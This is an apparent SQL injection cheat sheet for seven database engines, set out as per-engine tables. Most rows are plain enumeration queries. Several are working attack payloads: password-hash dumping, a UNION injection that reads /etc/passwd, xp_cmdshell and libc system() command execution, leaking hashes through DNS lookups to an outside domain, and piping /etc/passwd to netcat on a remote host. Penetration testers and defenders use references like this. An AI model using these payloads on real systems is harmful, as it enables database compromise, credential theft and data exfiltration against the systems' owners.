SQL Injection Cheat Sheet
The complete list of SQL Injection Cheat Sheets I'm working is:
* Oracle
* MSSQL
* MySQL
* PostgreSQL
* Ingres
* DB2
* Informix
--------------------------------------------------MySQL-------------------------------------------------------------------------------------------------------
Version | SELECT @@version |
Comments | SELECT 1; #comment SELECT /*comment*/1; |
Current User | SELECT user(); SELECT system_user(); |
List Users | SELECT user FROM mysql.user; -- priv |
List Password Hashes | SELECT host, user, password FROM mysql.user; -- priv |
Password Cracker | John the Ripper will crack MySQL password hashes. |
List Privileges | SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; -- list user privs SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; -- priv, list user privs SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; -- list privs on databases (schemas) SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; -- list privs on columns |
List DBA Accounts | SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'SUPER'; SELECT host, user FROM mysql.user WHERE Super_priv = 'Y'; # priv |
Current Database | SELECT database() |
List Databases | SELECT schema_name FROM information_schema.schemata; -- for MySQL >= v5.0 SELECT distinct(db) FROM mysql.db -- priv |
List Columns | SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema' |
List Tables | SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema' |
Find Tables From Column Name | SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'username'; -- find table which have a column called 'username' |
Select Nth Row | SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0 |
Select Nth Char | SELECT substr('abcd', 3, 1); # returns c |
Bitwise AND | SELECT 6 & 2; # returns 2 SELECT 6 & 1; # returns 0 |
ASCII Value -> Char |
SELECT char(65); # returns A |
Char -> ASCII Value | SELECT ascii('A'); # returns 65 |
Casting | SELECT cast('1' AS unsigned integer); SELECT cast('123' AS char); |
String Concatenation | SELECT CONCAT('A','B'); #returns AB SELECT CONCAT('A','B','C'); # returns ABC |
If Statement |
SELECT if(1=1,'foo','bar'); -- returns 'foo' |
Case Statement | SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; # returns A |
Avoiding Quotes | SELECT 0x414243; # returns ABC |
Time Delay | SELECT BENCHMARK(1000000,MD5('A')); SELECT SLEEP(5); # >= 5.0.12 |
Make DNS Requests | Impossible? |
Command Execution | If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). raptor_udf.c explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform. |
Local File Access | ...' UNION ALL SELECT LOAD_FILE('/etc/passwd') -- priv, can only read world-readable files. SELECT * FROM mytable INTO dumpfile '/tmp/somefile'; -- priv, write to file system |
Hostname, IP Address | Impossible? |
Create Users | CREATE USER test1 IDENTIFIED BY 'pass1'; -- priv |
Delete Users | DROP USER test1; -- priv |
Make User DBA | GRANT ALL PRIVILEGES ON *.* TO test1@'%'; -- priv |
Location of DB files | SELECT @@datadir; |
Default/System Databases | information_schema (>= mysql 5.0) mysql |
-----------------------------------------------------------------------MSSQL-----------------------------------------------------------------------------
Version | SELECT @@version |
Comments | SELECT 1 -- comment SELECT /*comment*/1 |
Current User | SELECT user_name(); SELECT system_user; SELECT user; SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID |
List Users | SELECT name FROM master..syslogins |
List Password Hashes | SELECT name, password FROM master..sysxlogins -- priv, mssql 2000; SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins -- priv, mssql 2000. Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer. SELECT name, password_hash FROM master.sys.sql_logins -- priv, mssql 2005; SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins -- priv, mssql 2005 |
Password Cracker | MSSQL 2000 and 2005 Hashes are both SHA1-based. phrasen|drescher can crack these. |
List Privileges | Impossible? |
List DBA Accounts | TODO SELECT is_srvrolemember('sysadmin'); -- is your account a sysadmin? returns 1 for true, 0 for false, NULL for invalid role. Also try 'bulkadmin', 'systemadmin' and other values from the documentation SELECT is_srvrolemember('sysadmin', 'sa'); -- is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username. |
Current Database | SELECT DB_NAME() |
List Databases | SELECT name FROM master..sysdatabases; SELECT DB_NAME(N); -- for N = 0, 1, 2, ... |
List Columns | SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable'); -- for the current DB only SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; -- list colum names and types for master..sometable |
List Tables | SELECT name FROM master..sysobjects WHERE xtype = 'U'; -- use xtype = 'V' for views SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U'; SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; -- list colum names and types for master..sometable |
Find Tables From Column Name | -- NB: This example works only for the current database. If you wan't to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects). SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND syscolumns.name LIKE '%PASSWORD%' -- this lists table, column for each column containing the word 'password' |
Select Nth Row | SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC -- gets 9th row |
Select Nth Char | SELECT substring('abcd', 3, 1) -- returns c |
Bitwise AND | SELECT 6 & 2 -- returns 2 SELECT 6 & 1 -- returns 0 |
ASCII Value -> Char |
SELECT char(0x41) -- returns A |
Char -> ASCII Value | SELECT ascii('A') - returns 65 |
Casting | SELECT CAST('1' as int); SELECT CAST(1 as char) |
String Concatenation | SELECT 'A' + 'B' - returns AB |
If Statement |
IF (1=1) SELECT 1 ELSE SELECT 2 -- returns 1 |
Case Statement | SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END -- returns 1 |
Avoiding Quotes | SELECT char(65)+char(66) -- returns AB |
Time Delay | WAITFOR DELAY '0:0:5' -- pause for 5 seconds |
Make DNS Requests | declare @host varchar(800); select @host = name FROM master..syslogins; exec('master..xp_getfiledetails ''\\' + @host + '\c$\boot.ini'''); -- nonpriv, works on 2000 declare @host varchar(800); select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.2.pentestmonkey.net' from sys.sql_logins; exec('xp_fileexist ''\\' + @host + '\c$\boot.ini'''); -- priv, works on 2005 -- NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary. |
Command Execution | EXEC xp_cmdshell 'net user'; -- priv On MSSQL 2005 you may need to reactivate xp_cmdshell first as it's disabled by default: |
Local File Access | CREATE TABLE mydata (line varchar(8000)); BULK INSERT mydata FROM 'c:\boot.ini'; DROP TABLE mydata; |
Hostname, IP Address | SELECT HOST_NAME() |
Create Users | EXEC sp_addlogin 'user', 'pass'; -- priv |
Drop Users | EXEC sp_droplogin 'user'; -- priv |
Make User DBA | EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin; -- priv |
Location of DB files | TODO |
Default/System Databases | northwind model msdb pubs tempdb |
-------------------------------------------------------Oracle-----------------------------------------------------------------------------------------------------
Version | SELECT banner FROM v$version WHERE banner LIKE 'Oracle%'; SELECT banner FROM v$version WHERE banner LIKE 'TNS%'; SELECT version FROM v$instance; |
Comments | SELECT 1 FROM dual -- comment -- NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name 'dual' when we're not actually selecting from a table. |
Current User | SELECT user FROM dual |
List Users | SELECT username FROM all_users ORDER BY username; SELECT name FROM sys.user$; -- priv |
List Password Hashes | SELECT name, password, astatus FROM sys.user$ -- priv, <= 10g. astatus tells you if acct is locked SELECT name,spare4 FROM sys.user$ -- priv, 11g |
Password Cracker | checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10. |
List Privileges | SELECT * FROM session_privs; -- current privs SELECT * FROM dba_sys_privs WHERE grantee = 'DBSNMP'; -- priv, list a user's privs SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY'; -- priv, find users with a particular priv SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS; |
List DBA Accounts | SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES'; -- priv, list DBAs, DBA roles |
Current Database | SELECT global_name FROM global_name; SELECT name FROM v$database; SELECT instance_name FROM v$instance; SELECT SYS.DATABASE_NAME FROM DUAL; |
List Databases | SELECT DISTINCT owner FROM all_tables; -- list schemas (one per user) |
List Columns | SELECT column_name FROM all_tab_columns WHERE table_name = 'blah'; SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo'; |
List Tables | SELECT table_name FROM all_tables; SELECT owner, table_name FROM all_tables; |
Find Tables From Column Name | SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%'; -- NB: table names are upper case |
Select Nth Row | SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; -- gets 9th row (rows numbered from 1) |
Select Nth Char | SELECT substr('abcd', 3, 1) FROM dual; -- gets 3rd character, 'c' |
Bitwise AND | SELECT bitand(6,2) FROM dual; -- returns 2 SELECT bitand(6,1) FROM dual; -- returns0 |
ASCII Value -> Char |
SELECT chr(65) FROM dual; -- returns A |
Char -> ASCII Value | SELECT ascii('A') FROM dual; -- returns 65 |
Casting | SELECT CAST(1 AS char) FROM dual; SELECT CAST('1' AS int) FROM dual; |
String Concatenation | SELECT 'A' || 'B' FROM dual; -- returns AB |
If Statement | BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; -- doesn't play well with SELECT statements |
Case Statement | SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; -- returns 1 SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; -- returns 2 |
Avoiding Quotes | SELECT chr(65) || chr(66) FROM dual; -- returns AB |
Time Delay | BEGIN DBMS_LOCK.SLEEP(5); END; -- priv, can't seem to embed this in a SELECT SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; -- if reverse looks are slow SELECT UTL_INADDR.get_host_address('blah.attacker.com') FROM dual; -- if forward lookups are slow SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual; -- if outbound TCP is filtered / slow -- Also see Heavy Queries to create a time delay |
Make DNS Requests | SELECT UTL_INADDR.get_host_address('google.com') FROM dual; SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual; |
Command Execution | Java can be used to execute commands if it's installed. ExtProc can sometimes be used too, though it normally failed for me. :-( |
Local File Access | UTL_FILE can sometimes be used. Check that the following is non-null: Java can be used to read and write files if it's installed (it is not available in Oracle Express). |
Hostname, IP Address | SELECT UTL_INADDR.get_host_name FROM dual; SELECT host_name FROM v$instance; SELECT UTL_INADDR.get_host_address FROM dual; -- gets IP address SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; -- gets hostnames |
Location of DB files | SELECT name FROM V$DATAFILE; |
Default/System Databases | SYSTEM SYSAUX |
--------------------------------------------------------------------PostgreSQL ---------------------------------------------------------------------
Version | SELECT version() |
Comments | SELECT 1; --comment SELECT /*comment*/1; |
Current User | SELECT user; SELECT current_user; SELECT session_user; SELECT usename FROM pg_user; SELECT getpgusername(); |
List Users | SELECT usename FROM pg_user |
List Password Hashes | SELECT usename, passwd FROM pg_shadow -- priv |
Password Cracker | MDCrack can crack PostgreSQL's MD5-based passwords. |
List Privileges | SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user |
List DBA Accounts | SELECT usename FROM pg_user WHERE usesuper IS TRUE |
Current Database | SELECT current_database() |
List Databases | SELECT datname FROM pg_database |
List Columns | SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') |
List Tables | SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN ('r','') AND n.nspname NOT IN ('pg_catalog', 'pg_toast') AND pg_catalog.pg_table_is_visible(c.oid) |
Find Tables From Column Name | If you want to list all the table names that contain a column LIKE '%password%': SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND attname LIKE '%password%'; |
Select Nth Row | SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; -- rows numbered from 0 SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1; |
Select Nth Char | SELECT substr('abcd', 3, 1); -- returns c |
Bitwise AND | SELECT 6 & 2; -- returns 2 SELECT 6 & 1; --returns 0 |
ASCII Value -> Char |
SELECT chr(65); |
Char -> ASCII Value | SELECT ascii('A'); |
Casting | SELECT CAST(1 as varchar); SELECT CAST('1' as int); |
String Concatenation | SELECT 'A' || 'B'; -- returnsAB |
If Statement |
IF statements only seem valid inside functions, so aren't much use for SQL injection. See CASE statement instead. |
Case Statement | SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; -- returns A |
Avoiding Quotes | SELECT CHR(65)||CHR(66); -- returns AB |
Time Delay | SELECT pg_sleep(10); -- postgres 8.2+ only CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(10); --priv, create your own sleep function. Taken from here . |
Make DNS Requests | Generally not possible in postgres. However if contrib/dblink is installed (it isn't by default) it can be used to resolve hostnames (assuming you have DBA rights): SELECT * FROM dblink('host=put.your.hostname.here user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT); Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. "ping pentestmonkey.net". |
Command Execution | CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; -- priv SELECT system('cat /etc/passwd | nc 10.0.0.1 8080'); -- priv, commands run as postgres/pgsql OS-level user |
Local File Access | CREATE TABLE mydata(t text); Write to a file: CREATE TABLE mytable (mycol text); |
Hostname, IP Address | SELECT inet_server_addr(); -- returns db server IP address (or null if using local connection) SELECT inet_server_port(); -- returns db server IP address (or null if using local connection) |
Create Users | CREATE USER test1 PASSWORD 'pass1'; -- priv CREATE USER test1 PASSWORD 'pass1' CREATEUSER; -- priv, grant some privs at the same time |
Drop Users | DROP USER test1; -- priv |
Make User DBA | ALTER USER test1 CREATEUSER CREATEDB; -- priv |
Location of DB files | SELECT current_setting('data_directory'); -- priv SELECT current_setting('hba_file'); -- priv |
Default/System Databases | template0 template1 |
----------------------------------------------------------Ingres--------------------------------------------------------------------------------
Version | select dbmsinfo('_version'); |
Comments | SELECT 123; -- comment select 123; /* comment */ |
Current User | select dbmsinfo('session_user'); select dbmsinfo('system_user'); |
List Users | First connect to iidbdb, then: select name, password from iiuser; |
Create Users | create user testuser with password = 'testuser';-- priv |
List Password Hashes | First connect to iidbdb, then: select name, password from iiuser; |
List Privileges | select dbmsinfo('db_admin'); select dbmsinfo('create_table'); select dbmsinfo('create_procedure'); select dbmsinfo('security_priv'); select dbmsinfo('select_syscat'); select dbmsinfo('db_privileges'); select dbmsinfo('current_priv_mask'); |
List DBA Accounts | TODO |
Current Database | select dbmsinfo('database'); |
List Databases | TODO |
List Columns | select column_name, column_datatype, table_name, table_owner from iicolumns; |
List Tables | select table_name, table_owner from iitables; select relid, relowner, relloc from iirelation; select relid, relowner, relloc from iirelation where relowner != '$ingres'; |
Find Tables From Column Name | TODO |
Select Nth Row | Astoundingly, this doesn't seem to be possible! This is as close as you can get: select top 10 blah from table; |
Select Nth Char | select substr('abc', 2, 1); -- returns 'b' |
Bitwise AND | The function "bit_and" exists, but seems hard to use. Here's an select substr(bit_and(cast(3 as byte), cast(5 as byte)),1,1); |
ASCII Value -> Char |
TODO |
Char -> ASCII Value | TODO (The "ascii" function exists, but doesn't seem to do what I'd expect.) |
Casting | select cast(123 as varchar); select cast('123' as integer); |
String Concatenation | select 'abc' || 'def'; |
If Statement |
TODO |
Case Statement | TODO |
Avoiding Quotes | TODO |
Time Delay | ??? See Heavy Queries article for some ideas. |
Make DNS Requests | TODO |
Command Execution | TODO |
Local File Access | TODO |
Hostname, IP Address | TODO |
Location of DB files | TODO |
Default/System Databases | TODO |
Installing Locally | The Ingres database can be downloaded for free from http://esd.ingres.com/ A pre-built Linux-based Ingres Database Server can be download from http://www.vmware.com/appliances/directory/832 |
Database Client | TODO There is a client called "sql" which can be used for local connections (at least) in the database server package above. |
Logging in from command line | $ su - ingres $ sql iidbdb * select dbmsinfo('_version'); \go |
Identifying on the network | TODO |
The following areas are interesting enough to include on this page, but I haven't researched them for other databases:
Description | SQL / Comments |
Batching Queries Allowed? | Not via DBI in PERL. Subsequent statements seem to get ignored: |
FROM clause mandated in SELECTs? | No. You don't need to select form "dual" or anything. The following is legal: |
UNION supported | Yes. Nothing tricky here. The following is legal: |
Enumerate Tables Privs | select table_name, permit_user, permit_type from iiaccess; |
Length of a string | select length('abc'); -- returns 3 |
Roles and passwords | First you need to connect to iidbdb, then: |
List Database Procedures | First you need to connect to iidbdb, then: |
Create Users + Granting Privs | First you need to connect to iidbdb, then: |
-----------------------------------------------------------------DB2--------------------------------------------------------------------------------------
Version | select versionnumber, version_timestamp from sysibm.sysversions; |
Comments | select blah from foo; -- comment like this |
Current User | select user from sysibm.sysdummy1; select session_user from sysibm.sysdummy1; select system_user from sysibm.sysdummy1; |
List Users | N/A (I think DB2 uses OS-level user accounts for authentication.) Database authorities (like roles, I think) can be listed like this: |
List Password Hashes | N/A (I think DB2 uses OS-level user accounts for authentication.) |
List Privileges | select * from syscat.tabauth; -- privs on tables select * from syscat.dbauth where grantee = current user; select * from syscat.tabauth where grantee = current user; |
List DBA Accounts | TODO |
Current Database | select current server from sysibm.sysdummy1; |
List Databases | SELECT schemaname FROM syscat.schemata; |
List Columns | select name, tbname, coltype from sysibm.syscolumns; |
List Tables | select name from sysibm.systables; |
Find Tables From Column Name | TODO |
Select Nth Row | select name from (SELECT name FROM sysibm.systables order by name fetch first N+M-1 rows only) sq order by name desc fetch first N rows only; |
Select Nth Char | SELECT SUBSTR('abc',2,1) FROM sysibm.sysdummy1; -- returns b |
Bitwise AND | This page seems to indicate that DB2 has no support for bitwise operators! |
ASCII Value -> Char |
select chr(65) from sysibm.sysdummy1; -- returns 'A' |
Char -> ASCII Value | select ascii('A') from sysibm.sysdummy1; -- returns 65 |
Casting | SELECT cast('123' as integer) FROM sysibm.sysdummy1; SELECT cast(1 as char) FROM sysibm.sysdummy1; |
String Concatenation | SELECT 'a' concat 'b' concat 'c' FROM sysibm.sysdummy1; -- returns 'abc' select 'a' || 'b' from sysibm.sysdummy1; -- returns 'ab' |
If Statement |
TODO |
Case Statement | TODO |
Avoiding Quotes | TODO |
Time Delay | ??? See Heavy Queries article for some ideas. |
Make DNS Requests | TODO |
Command Execution | TODO |
Local File Access | TODO |
Hostname, IP Address | TODO |
Location of DB files | TODO |
Default/System Databases | TODO |
This page will probably remain a work-in-progress for some time yet. I'll update it as I learn more.
-------------------------------------------------Informix ------------------------------------------------------------------------------------------------
Version | SELECT DBINFO('version', 'full') FROM systables WHERE tabid = 1; SELECT DBINFO('version', 'server-type') FROM systables WHERE tabid = 1; SELECT DBINFO('version', 'major'), DBINFO('version', 'minor'), DBINFO('version', 'level') FROM systables WHERE tabid = 1; SELECT DBINFO('version', 'os') FROM systables WHERE tabid = 1; -- T=Windows, U=32 bit app on 32-bit Unix, H=32-bit app running on 64-bit Unix, F=64-bit app running on 64-bit unix |
Comments | select 1 FROM systables WHERE tabid = 1; -- comment |
Current User | SELECT USER FROM systables WHERE tabid = 1; |
List Users | select username, usertype, password from sysusers; |
List Password Hashes | TODO |
List Privileges | select tabname, grantor, grantee, tabauth FROM systabauth join systables on systables.tabid = systabauth.tabid; -- which tables are accessible by which users select procname, owner, grantor, grantee from sysprocauth join sysprocedures on sysprocauth.procid = sysprocedures.procid; -- which procedures are accessible by which users |
List DBA Accounts | TODO |
Current Database | SELECT DBSERVERNAME FROM systables where tabid = 1; -- server name |
List Databases | select name, owner from sysdatabases; |
List Columns | select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid; |
List Tables | select tabname, owner FROM systables; select tabname, viewtext FROM sysviews join systables on systables.tabid = sysviews.tabid; |
List Stored Procedures | select procname, owner FROM sysprocedures; |
Find Tables From Column Name | select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid where colname like '%pass%'; |
Select Nth Row | select first 1 tabid from (select first 10 tabid from systables order by tabid) as sq order by tabid desc; -- selects the 10th row |
Select Nth Char | SELECT SUBSTRING('ABCD' FROM 3 FOR 1) FROM systables where tabid = 1; -- returns 'C' |
Bitwise AND | select bitand(6, 1) from systables where tabid = 1; -- returns 0 select bitand(6, 2) from systables where tabid = 1; -- returns 2 |
ASCII Value -> Char |
TODO |
Char -> ASCII Value | select ascii('A') from systables where tabid = 1; |
Casting | select cast('123' as integer) from systables where tabid = 1; select cast(1 as char) from systables where tabid = 1; |
String Concatenation | SELECT 'A' || 'B' FROM systables where tabid = 1; -- returns 'AB' SELECT concat('A', 'B') FROM systables where tabid = 1; -- returns 'AB' |
String Length | SELECT tabname, length(tabname), char_length(tabname), octet_length(tabname) from systables; |
If Statement |
TODO |
Case Statement | select tabid, case when tabid>10 then "High" else 'Low' end from systables; |
Avoiding Quotes | TODO |
Time Delay | TODO |
Make DNS Requests | TODO |
Command Execution | TODO |
Local File Access | TODO |
Hostname, IP Address | SELECT DBINFO('dbhostname') FROM systables WHERE tabid = 1; -- hostname |
Location of DB files | TODO |
Default/System Databases | These are the system databases: sysmaster sysadmin* sysuser* sysutils* * = don't seem to contain anything / don't allow reading |
Installing Locally | You can download Informix Dynamic Server Express Edition 11.5 Trial for Linux and Windows. |
Database Client | There's a database client SDK available, but I couldn't get the demo client working. I used SQuirreL SQL Client Version 2.6.8 after installing the Informix JDBC drivers ("emerge dev-java/jdbc-informix" on Gentoo). |
Logging in from command line | If you get local admin rights on a Windows box and have a GUI logon:
The following were set on my test system. This may help if you get command line access, but can't get a GUI - you'll need to change "testservername": set INFORMIXDIR=C:\PROGRA~1\IBM\IBMINF~1\11.50 |
Identifying on the network |
My default installation listened on two TCP ports: 9088 and 9099. When I created a new "server name", this listened on 1526/TCP by default. Nmap 4.76 didn't identify these ports as Informix: $ sudo nmap -sS -sV 10.0.0.1 -p- -v --version-all... 1526/tcp open pdap-np? 9088/tcp open unknown 9089/tcp open unknown ... TODO How would we identify Informix listening on the network? |